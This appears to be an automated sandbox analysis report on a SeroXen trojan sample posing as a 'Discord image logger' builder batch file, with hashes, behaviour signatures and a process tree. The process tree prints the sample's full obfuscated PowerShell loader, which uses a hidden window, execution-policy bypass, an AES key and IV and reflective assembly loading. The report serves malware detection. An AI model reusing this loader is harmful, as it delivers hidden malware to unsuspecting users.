seroxen | 63b3839dc82c4080192b0181cc8296f1ff1841e2c820260d41544795d70415c5

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
19/03/2025, 22:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

discord-image-logger-main/builder.bat
Size

14.9MB
MD5

70a53c5ec35eefae927a0c413a89937a
SHA1

1bc9a22903968bfc05b87c1082a5c4242802d4dd
SHA256

a7aa6fa77e4931544a6966ef435400c52a79af300a548aca4e9c67f72218ac2d
SHA512

c712f2b98b0eb8c4808e4abcee0cc6100fc3e7d445f40208da0429b754148f190083ce247f183bb112083c15b06f466cbe573fe01f47de3d7958d8624e8d9aae
SSDEEP

49152:QYwuS617ST7nN2d57VTqUTm0AmK0jEHD5FQ/9gsyuEgPXiGncZwPnzLO1WtJHFi7:S

Score

10^/10

seroxen trojan

Malware Config

Signatures

Seroxen family
seroxen
Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Executes dropped EXE 1 IoCs

pid	Process
3040	builder.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2100	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3040	builder.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	builder.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 2528	2100	cmd.exe	31
PID 2100 wrote to memory of 2528	2100	cmd.exe	31
PID 2100 wrote to memory of 2528	2100	cmd.exe	31
PID 2528 wrote to memory of 2144	2528	net.exe	32
PID 2528 wrote to memory of 2144	2528	net.exe	32
PID 2528 wrote to memory of 2144	2528	net.exe	32
PID 2100 wrote to memory of 3040	2100	cmd.exe	34
PID 2100 wrote to memory of 3040	2100	cmd.exe	34
PID 2100 wrote to memory of 3040	2100	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2144
- C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe
  "builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VsYFF($UqIEP){ $cckBt=[System.Security.Cryptography.Aes]::Create(); $cckBt.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cckBt.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cckBt.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UEGY9MIPrGN+l8HMK+EOWWOHd3i8s5ddQy0gjFJszf0='); $cckBt.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIU6Lrw5kmXrlY9ZdCP5WQ=='); $twFeA=$cckBt.CreateDecryptor(); $return_var=$twFeA.TransformFinalBlock($UqIEP, 0, $UqIEP.Length); $twFeA.Dispose(); $cckBt.Dispose(); $return_var;}function onOdy($UqIEP){ $DcweI=New-Object System.IO.MemoryStream(,$UqIEP); $sUfkw=New-Object System.IO.MemoryStream; $rNOwy=New-Object System.IO.Compression.GZipStream($DcweI, [IO.Compression.CompressionMode]::Decompress); $rNOwy.CopyTo($sUfkw); $rNOwy.Dispose(); $DcweI.Dispose(); $sUfkw.Dispose(); $sUfkw.ToArray();}function spGXl($UqIEP,$ZvarV){ $UbgZg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UqIEP); $oUCsb=$UbgZg.EntryPoint; $oUCsb.Invoke($null, $ZvarV);}$WAkYi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat').Split([Environment]::NewLine);foreach ($kjXpr in $WAkYi) { if ($kjXpr.StartsWith(':: ')) { $vbeRz=$kjXpr.Substring(4); break; }}$IzdcO=[string[]]$vbeRz.Split('\');$clAux=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[0])));$WNxAq=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[1])));spGXl $WNxAq (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));spGXl $clAux (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/3040-7-0x000007FEF647E000-0x000007FEF647F000-memory.dmp

Filesize
4KB

Download
memory/3040-8-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/3040-9-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-10-0x0000000001EA0000-0x0000000001EA8000-memory.dmp

Filesize
32KB

Download
memory/3040-13-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-12-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-11-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-14-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/3040-15-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download